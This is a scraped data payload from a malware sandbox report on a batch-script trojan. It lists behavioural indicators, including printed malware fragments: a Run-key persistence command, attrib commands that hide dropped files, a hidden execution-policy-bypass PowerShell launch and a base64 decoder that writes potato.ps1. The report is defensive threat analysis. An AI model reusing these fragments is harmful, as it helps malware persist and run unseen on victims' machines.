26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 5c:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4e6,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample d856336054b0… — Score 89/100 — Hybrid Analysis","description":"Malicious verdict for sample d856336054b0…. Malware family: Trojan.Generic. Threat score 89/100. 9/26 AV engines flagged this file. 11 malicious and 9 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693"],"about":{"@type":"SoftwareApplication","name":"urlref_httpsraw.githubusercontent.comdemarcusnofatherington420-a11yScriptInstallerrefsheadsmainWindowsLogonService.bat","applicationCategory":["script","bat"],"identifier":"d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693","additionalType":"Malicious sample"},"threatScore":89,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":9,"total":26},"behavioralIndicators":{"malicious":11,"suspicious":9},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T416,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp")28:T511,Found string "Format-Custom" (Indicator: "Format-Custom"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Format-List" (Indicator: "Format-List"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Format-Table" (Indicator: "Format-Table"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Format-Wide" (Indicator: "Format-Wide"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Convert-Path" (Indicator: "Convert-Path"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Export-Alias" (Indicator: "Export-Alias"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Export-Csv" (Indicator: "Export-Csv"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Export-ModuleMember" (Indicator: "Export-ModuleMember"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Export-Console" (Indicator: "Export-Console"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "file, use Export-Console in Windows PowerShell." (Indicator: "Export-Console"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp")29:T915,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\HARDWAREEVENTS\POWERSHELL") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\INTERNET EXPLORER") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\INTERNET EXPLORER") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\INTERNET EXPLORER\POWERSHELL") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\KEY MANAGEMENT SERVICE") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\KEY MANAGEMENT SERVICE") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\KEY MANAGEMENT SERVICE\POWERSHELL") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\OALERTS") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\OALERTS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\OALERTS\POWERSHELL") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\SECURITY") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\SECURITY") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\SECURITY\POWERSHELL") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\SYSTEM") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\SYSTEM") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\SYSTEM\POWERSHELL") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\WINDOWS POWERSHELL") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\WINDOWS POWERSHELL") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\EVENTLOG\WINDOWS POWERSHELL\POWERSHELL") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION")2a:T9d2,"cmd.exe" queried SystemProcessInformation at 00000000-00002076-00000C15-1336816326 [PID: 2076] "cmd.exe" queried SystemProcessInformation at 00000000-00002076-00000C15-1336825264 [PID: 2076] "cmd.exe" queried SystemProcessInformation at 00000000-00002076-00000C15-1337113728 [PID: 2076] "cmd.exe" queried SystemProcessInformation at 00000000-00002076-00000C15-1337122969 [PID: 2076] "cmd.exe" queried SystemProcessInformation at 00000000-00002204-00000C15-1337956334 [PID: 2204] "cmd.exe" queried SystemProcessInformation at 00000000-00002204-00000C15-1337966254 [PID: 2204] "cmd.exe" queried SystemProcessInformation at 00000000-00002204-00000C15-1338254876 [PID: 2204] "cmd.exe" queried SystemProcessInformation at 00000000-00002204-00000C15-1338264091 [PID: 2204] "reg.exe" queried SystemProcessInformation at 00000000-00003052-00000C15-1338892279 [PID: 3052] "reg.exe" queried SystemProcessInformation at 00000000-00003052-00000C15-1338899835 [PID: 3052] "reg.exe" queried SystemProcessInformation at 00000000-00003052-00000C15-1339153222 [PID: 3052] "reg.exe" queried SystemProcessInformation at 00000000-00003052-00000C15-1339161119 [PID: 3052] "powershell.exe" queried SystemProcessInformation at 00000000-00003412-00000C15-1344153420 [PID: 3412] "powershell.exe" queried SystemProcessInformation at 00000000-00003412-00000C15-1344162790 [PID: 3412] "powershell.exe" queried SystemProcessInformation at 00000000-00003412-00000C15-1345694648 [PID: 3412] "powershell.exe" queried SystemProcessInformation at 00000000-00003412-00000C15-1345704434 [PID: 3412] "powershell.exe" queried SystemProcessInformation at 00000000-00003412-00000C15-1346497251 [PID: 3412] "powershell.exe" queried SystemProcessInformation at 00000000-00003412-00000C15-1346506625 [PID: 3412] "powershell.exe" queried SystemProcessInformation at 00000000-00003412-00000C15-1346973910 [PID: 3412] "powershell.exe" queried SystemProcessInformation at 00000000-00003412-00000C15-1346983121 [PID: 3412] "powershell.exe" queried SystemProcessInformation at 00000000-00003412-00000C15-1347085632 [PID: 3412] "powershell.exe" queried SystemProcessInformation at 00000000-00003412-00000C15-1347094180 [PID: 3412] "powershell.exe" queried SystemProcessInformation at 00000000-00003412-00000C15-1347200558 [PID: 3412] "powershell.exe" queried SystemProcessInformation at 00000000-00003412-00000C15-1347209876 [PID: 3412] "powershell.exe" queried SystemProcessInformation at 00000000-00003412-00000C15-1348283931 [PID: 3412]2b:T744,file/memory contains long string with (Indicator: "FromBase64String"; File: "d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693.bin") file/memory contains long string with (Indicator: "FromBase64String"; File: "AMSI") file/memory contains long string with (Indicator: "FromBase64String"; File: "powershell.exe") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp, 00000000-00003412.00000000.152666.66EA0000.00000004.mdmp, 00000000-00003412.00000000.152666.67050000.00000004.mdmp, 00000000-00003412.00000000.152666.68900000.00000004.mdmp, 00000000-00003412.00000000.152666.692D0000.00000004.mdmp, 00000000-00003412.00000001.152819.66EA0000.00000004.mdmp, 00000000-00003412.00000001.152819.67050000.00000004.mdmp, 00000000-00003412.00000001.152819.68900000.00000004.mdmp, 00000000-00003412.00000001.152819.6939E000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00003412.00000000.152666.66EA0000.00000004.mdmp, 00000000-00003412.00000001.152819.66EA0000.00000004.mdmp") Found reference to API "'REMMCTlBegwdTY5G5k([A-Za-z0-9+/=]+)') { [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($matches[1])) | Out-File -FilePath "C:\Users\HAPUBWS\AppData\Local\Temp\potato.ps1" -Encoding UTF8 } } catch {}" (Indicator: "FromBase64String"; Source: "00000000-00003412.00000000.152666.66EA0000.00000004.mdmp, 00000000-00003412.00000001.152819.66EA0000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00003412.00000001.152819.66EA0000.00000004.mdmp, 00000000-00003412.00000001.152819.69950000.00000004.mdmp")2c:T4d8,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to decode base64 data Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Able to utilize the Windows bcrypt cryptographic API Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Able to decrypt/decode data Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically used to decrypt data Matched sigs: Script contains XOR (Antimalware Scan Interface) Matched sigs: The input file contains long Base64 encoded strings Matched sigs: YARA signature match – Encryption algorithm2d:T200d,"cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002076) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002076) "cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002204) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002204) "reg.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003052) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003412) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003412) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac1c72fe7f0000000000000000000051ed2674fe7f0000000000002702000000000000000000008b7b0d8939e200002a000000000000009035f966270200008fec2674fe7f0000e0ac1c72fe7f0000e0ac1c72fe7f0000000000000000000000000000fe7f0000ffffff7f53b8000000000000000000000000000000000000d8ce1072fe7f00002a0000000000000069c3c971fe7f00003100000000000000c40300000000000004040000000000001100011000000000d0d65793f100000003a31774fe7f0000d0d65793f100000000000000000000002b00000000000000000000000000000020b0cf71fe7f0000b43fce71fe7f0000e0ce1072 (UID: 00000000-00003412) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000400000000000000000000567270200000b8e2474fe7f00000000056727020000020000002702000038000000000000004000000000000000300305672702000028e24c94f10000000100000000000000030000000000000001000000000000000b000000000000006027fa662702000000000000000000000000fa662702000000600693f100000000000000000000000b00000001000000000000000000000000000000000000000400000000000000000000000000000078c399692702000004000000000000003800000000000000f0981674fe7f000038000000000000003800000000000000a0e34c94f1000000c00cf83bfe7f000000000000 (UID: 00000000-00003412) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b0f85dfe7f000007000000000000000000000000000000010000000000000010ee0567270200000000000000000000d0a58769270200004c981674fe7f0000c0c8876927020000b3ceee3bfe7f0000e0a9876927020000004ff85dfe7f0000d0b0f85dfe7f000000000000000000000000000000000000e0a987692702000010ee056727020000a0e2876927020000f8e34c94f10000004c981674fe7f00000100000000000000f8e34c94f1000000a0e2876927020000e0a9876927020000010000000000000002bcee3bfe7f0000a0ad876927020000007c866927020000feffffff040000007df0f75dfe7f000060e28769 (UID: 00000000-00003412) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000007000000000000000000000000000000010000000000000010ee0567270200000000000000000000d0a58769270200004c981674fe7f000040cd876927020000b3ceee3bfe7f000000ab876927020000384ff85dfe7f0000d0b0f85dfe7f00000000000000000000000000000000000000ab87692702000010ee056727020000a0e2876927020000f0e34c94f10000004c981674fe7f00000100000000000000f0e34c94f1000000a0e287692702000000ab876927020000010000000000000002bcee3bfe7f00000000000000000000007c866927020000a0ad876904000000feffffffffffffff10ee0567270200007df0f75dfe7f000000000000 (UID: 00000000-00003412) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005344) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005344)2e:T46a,"powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800393f100000075862b072701008000efe892f100000000a3000000000000be881c4dfe7f00007200000000000000c00cfa6627020000040000000000000060000000 (UID: 00000000-00003412) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000006f00770073005c004d006900630072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067005c006d0061006300680069006e0065002e0063006f006e006600690067000000 (UID: 00000000-00005344) "explorer.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f00005833fb73fe7f0000b022c50900000000d0e5230800000000010000008c100000d89ffb73fe7f0000dd7e1ede5b0e022f2c68b1ad08399b4282b1592be136a9e60000000000000000c03cc20900000000e0d4a609000000000000000000000000602ece090000000058a4fb73fe7f0000050007000000000000000000 (UID: 00000000-00005308)2f:T662,"cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "reg.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")30:T844,Found string "Set objShell = CreateObject("WScript.Shell")objShell.Run "cmd.exe /c """"C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Templates\JURY.bat""""", 0, False" (Indicator: "set "; File: "infection.vbs") Found string "set television=%CD%" (Indicator: "set "; File: "d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693.bin") Found string "set horror=%CD%" (Indicator: "set "; File: "d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693.bin") Found string "set League=%TIME:~0,2%%TIME:~3,2%" (Indicator: "set "; File: "d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693.bin") Found string "set QIZKM=1" (Indicator: "set "; File: "d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693.bin") Found string "set Emission=%CD%" (Indicator: "set "; File: "d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693.bin") Found string "set LIVING=%RANDOM%" (Indicator: "set "; File: "d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693.bin") Found string "set Player=%RANDOM%" (Indicator: "set "; File: "d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693.bin") Found string "set happy=%CD%" (Indicator: "set "; File: "d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693.bin") Found string "set payment=%CD%" (Indicator: "set "; File: "d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693.bin") Found string "set knee=%TIME:~0,2%%TIME:~3,2%" (Indicator: "set "; File: "d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693.bin") Found string "set Relative=%RANDOM%" (Indicator: "set "; File: "d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693.bin") Found string "set criticism=%TIME:~0,2%%TIME:~3,2%" (Indicator: "set "; File: "d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693.bin") Found string "set Then=%CD%" (Indicator: "set "; File: "d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693.bin") Found string "set troop=%TEMP%\potato.ps1" (Indicator: "set "; File: "d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693.bin")31:Tf67,"cmd.exe" queries volume information of an entire harddrive"C:\" at 00000000-00002204-00000C17-1338373333 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00003412-00000C17-1347718276 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00003412-00000C17-1348344155 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00003412-00000C17-1348425427 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00003412-00000C17-1349031101 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00003412-00000C17-1349303720 "powershell.exe" queries volume information of "C:\share" at 00000000-00003412-00000C17-1349305448 "powershell.exe" queries volume information of "C:\share" at 00000000-00003412-00000C17-1349398419 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00003412-00000C17-1350269156 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00003412-00000C17-1350400966 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00003412-00000C17-1350443194 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005344-00000C17-1354979537 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00005344-00000C17-1355631305 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00005344-00000C17-1356127051 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00005344-00000C17-1356483630 "powershell.exe" queries volume information of "C:\share" at 00000000-00005344-00000C17-1356485240 "powershell.exe" queries volume information of "C:\share" at 00000000-00005344-00000C17-1356575656 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005344-00000C17-1357752936 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005344-00000C17-1358051121 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005344-00000C17-1358093440 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005344-00000C17-135823623532:T4c2,"cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /K "C:\d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693.bin.bat"" - (UID: 00000000-00002076) "cmd.exe" called "CreateProcessW" with parameter "attrib +h +s "%APPDATA%\Microsoft\Windows\Templates\JURY.bat"" - (UID: 00000000-00002204) "cmd.exe" called "CreateProcessW" with parameter "attrib +h +s "%APPDATA%\Microsoft\Windows\Templates\infection.vbs"" - (UID: 00000000-00002204) "cmd.exe" called "CreateProcessW" with parameter "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SkypeForBusinessEntryPointKTkkeQ" /t REG_SZ /d "wscript.exe //B" - (UID: 00000000-00002204), "cmd.exe" called "CreateProcessW" with parameter "powershell -nop -w h -ep bypass -c "try { $c = [IO.File]::ReadAllText('C:\d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e" - (UID: 00000000-00002204) "cmd.exe" called "CreateProcessW" with parameter "powershell.exe -nop -w h -ep bypass -f "%TEMP%\potato.ps1"" - (UID: 00000000-00002204) "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\ki1ogrqa\ki1o" - (UID: 00000000-00005344)33:T8356,"cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002076) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002076) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002076) "cmd.exe" called "LoadLibrary" with a parameter kernel32 